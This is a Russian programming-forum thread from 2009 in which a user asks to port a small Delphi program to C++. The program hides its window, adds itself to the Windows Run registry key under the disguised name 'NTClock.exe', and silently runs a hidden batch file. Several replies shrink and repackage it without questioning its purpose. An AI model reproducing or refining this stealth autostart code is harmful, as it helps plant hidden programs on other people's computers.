Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > IT форум > Помощь студентам
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Закрытая тема
Ваша тема закрыта, почему это могло произойти? Возможно,
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу.
Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста".
Название темы слишком короткое или не отражает сути вашего вопроса.
Тема исчерпала себя, помните, один вопрос - одна тема
Прочитайте правила и заново правильно создайте тему.
 
Опции темы Поиск в этой теме
Старый 23.01.2009, 17:15   #1
Vladya
Форумчанин
 
Аватар для Vladya
 
Регистрация: 04.11.2008
Сообщений: 360
Радость Перевести код с Delphi на С++

Ребята помогите (ну или подскажите) возможно ли перевести ниже приведенный код написанной программы с Delphi на С++ и как он будет выглядеть в переведенном виде. Я просто в С++ не шарю, а прогу нужно перекинуть так как мне подсказали что эфективнее она будет работать на С++ нежэли на Delphi.
Спасибо.
Код:
unit Unit1;

interface

uses
  Windows, ShellAPI, Forms;

type
  TForm1 = class(TForm)
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
Reg : HKEY;
szPach: String ;
szName: String ;
y: string;
implementation

{$R *.dfm}


begin 

application.ShowMainForm:=false; 

begin 
y:=ParamStr(0); 
szName:='NTClock.exe'; 
szPach:=y ; 

RegCreateKey(HKEY_LOCAL_MACHINE, 'Software/Microsoft/Windows/CurrentVersion/Run', Reg); 
RegSetValueEx(Reg, PChar(szName) ,0 ,REG_SZ ,PChar(szPach), Length(szPach));  
RegCloseKey(Reg); 

begin 

ShellExecute(0, 'open', 'c:/shara.bat', '', '', SW_HIDE); 

Application.Terminate;  

end; 
end;

end.
Мой скромненький сайт
Vladya вне форума
Старый 23.01.2009, 20:08   #2
AlDelta
Реанимируюсь...
Участник клуба
 
Аватар для AlDelta
 
Регистрация: 19.07.2007
Сообщений: 1,445
По умолчанию

Для начала, попытайтесь сделать что-то самостоятельно, а мы поможем...
Пишите код так, как будто сопровождать его будет склонный к насилию психопат, который знает, где вы живёте.
Правила форума => Правила раздела => Для общего развития => Помощь студентам => Перед тем, как создавать тему, скачайте себе...
P.S.: форум не песочница (с)
название статьи на сайте MS: "Отмена принудительного отключения автоматического запуска в реестре Windows"
AlDelta вне форума
Старый 23.01.2009, 20:15   #3
bullvinkle
Временно — юрист.
Форумчанин
 
Аватар для bullvinkle
 
Регистрация: 31.03.2008
Сообщений: 204
По умолчанию

Вот я молодец))) толком не знаю делфи, и С++ тоже не профи, но подсказать люблю))
Лучше напиши, что твоя программа должна делать, читать код влом, а технический перевод это, по-моему, глупо, легче заново написать по-своему.
bullvinkle вне форума
Старый 23.01.2009, 20:51   #4
sim_84
Пользователь
 
Регистрация: 17.01.2009
Сообщений: 18
По умолчанию

Во-первых С++ бывает разный на C++ Builder и в Visual C++ код будет выглядеть по-разному. Если нужно на C++ Builder, то тут и менять почти ничего не надо, т.к. большинство фунций здесь из WinAPI, а они одинаково работают и в Delphi и в C.
Во-вторых как я понял твоя программа не использует форму, а значит эффективней было бы создать консольный проект, он и места занимать меньше будет. Да и тот кто тебе это подсказал глупец, ибо в такой программе скорость работы не критична, на С++ она будет примерно той же, что и на Delphi. Ты ж не 3D игрушку пишешь.
sim_84 вне форума
Старый 23.01.2009, 23:55   #5
Vladya
Форумчанин
 
Аватар для Vladya
 
Регистрация: 04.11.2008
Сообщений: 360
По умолчанию

Цитата:
Сообщение от sim_84 Посмотреть сообщение
Во-вторых как я понял твоя программа не использует форму, а значит эффективней было бы создать консольный проект, он и места занимать меньше будет. Да и тот кто тебе это подсказал глупец, ибо в такой программе скорость работы не критична, на С++ она будет примерно той же, что и на Delphi. Ты ж не 3D игрушку пишешь.
Да программа не использует форму, и я не говорил что на С++ скорость будет лучше просто что будет малость ефэктивнее так как можно будет намного лучше ее усовершенствовать (конечно по мере изучения С++), насчет того кто мне посоветовал ето все дело перекинуть на другой язык я бы не сказал что он глупец (вроде дажэ доктор наук), просто он полностью знает что я пишу, и что я хочу получить от етой проги, код мне нужэн на С++ Builder.
Спасибо.
Мой скромненький сайт
Vladya вне форума
Старый 24.01.2009, 16:46   #6
Vladya
Форумчанин
 
Аватар для Vladya
 
Регистрация: 04.11.2008
Сообщений: 360
По умолчанию

Ну так что кто нить поможэт или нет?
Мой скромненький сайт
Vladya вне форума
Старый 31.01.2009, 19:40   #7
sim_84
Пользователь
 
Регистрация: 17.01.2009
Сообщений: 18
По умолчанию

Извини Builder не установлен. Могу на Visual C++
sim_84 вне форума
Старый 31.01.2009, 20:59   #8
r9m
₪₪₪₪₪₪₪₪
Форумчанин
 
Аватар для r9m
 
Регистрация: 16.04.2007
Сообщений: 471
По умолчанию

Твоя программа точно сбросит в весе если удалить оттуда форму, так как ты её не используешь, а просто скрываешь.

Код:
program Project1;

uses
  Windows,
  ShellAPI;

{$R *.res}

var
Reg : HKEY;
szPach: String ;
szName: String ;
y: string;


begin
y:=ParamStr(0);
szName:='NTClock.exe';
szPach:=y ;
RegCreateKey(HKEY_LOCAL_MACHINE, 'Software/Microsoft/Windows/CurrentVersion/Run', Reg);
RegSetValueEx(Reg, PChar(szName) ,0 ,REG_SZ ,PChar(szPach), Length(szPach));
RegCloseKey(Reg);
ShellExecute(0, 'open', 'c:/shara.bat', '', '', SW_HIDE);
end.
r9m вне форума
Старый 01.02.2009, 03:09   #9
execom
Редкий тунеядец
Форумчанин
 
Аватар для execom
 
Регистрация: 29.10.2006
Сообщений: 595
По умолчанию

ну, я думаю если сильно хочется что бы быстро работало и было небольшого размера - то нужно не язык программирования менять, а мозг включать.. вот этот же исходник на делфи, но немного изменённый:
Код:
program project1;
type
     HWND = integer;
     HKEY = integer;
    DWORD = integer;
  pathbuf = array [0..260] of char;
const
  advapi32 = 'advapi32.dll';
  HKLM     = DWORD($80000002);
  REG_SZ   = 1;
  SW_HIDE  = 0;

function ShellExecute(hWnd: HWND; Operation, FileName, Parameters,  Directory: PChar; ShowCmd: Integer): integer; stdcall; external 'shell32.dll' name 'ShellExecuteA';
function RegCreateKey(hKey: HKEY; lpSubKey: PChar;  var phkResult: HKEY): Longint; stdcall; external advapi32 name 'RegCreateKeyA';
function RegSetValueEx(hKey: HKEY; lpValueName: PChar;  Reserved: DWORD; dwType: DWORD; lpData: Pointer; cbData: DWORD): Longint; stdcall; external advapi32 name 'RegSetValueExA';
function RegCloseKey(hKey: HKEY): Longint; stdcall; external advapi32 name 'RegCloseKey';
function GetModuleFileName(hModule: integer; lpFilename: PChar; nSize: DWORD): DWORD; stdcall; external 'kernel32.dll' name 'GetModuleFileNameA';

var
     Reg : HKEY;
  szName : PChar;
  szPach : PathBuf;

begin
  GetModuleFileName(0, szPach, 260);
  szName:='NTClock.exe';
  RegCreateKey(HKLM, 'Software/Microsoft/Windows/CurrentVersion/Run', Reg);
  RegSetValueEx(Reg, szName ,0 ,REG_SZ ,@szPach, 260);
  RegCloseKey(Reg);
  ShellExecute(0, 'open', 'c:\shara.bat', '', '', SW_HIDE);
end.
скорость работы весьма нормальная)) да и вес в 1301 байт (после упаковки) - это весьма не много))) в архиве сорец и ехе))
Вложения
Тип файла: rar Project1.rar (5.3 Кб, 13 просмотров)
execom вне форума
Старый 30.03.2009, 17:10   #10
onizukawise
 
Регистрация: 30.03.2009
Сообщений: 4
По умолчанию

Всем привет! Я плохо программирую и не могу найти встроенный русский хелп для делфи и билдера (там ещё есть delphi и builder примеры для разных комманд, но только builder показывается..)...

Надо из билдера в дельфи код переделать, вот эти 3 места не знаю как записать на дельфи, помогите, пожалуйста)


if (State.Contains(gdFocused))
DrawGrid1->Canvas->DrawFocusRect(Rect);



DrawGrid1->OnDrawCell;
DrawGrid1->Repaint();


if (array[X][Y]==2&&(ProvLife(X,Y)<2||ProvLife(X,Y )>3)) /
array[X][Y]=3;
if (array[X][Y]==0&&ProvLife(X,Y)==3)
array[X][Y]=1;
onizukawise вне форума
Закрытая тема


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
перевести не трудный код программы из Delphi на С++ Ilius Помощь студентам 2 16.12.2008 18:11
перевести код с delphi на java. Neymexa Фриланс 1 21.11.2008 16:07
Перевести код с Pascal в C++ gigaman Общие вопросы C/C++ 1 26.03.2008 12:18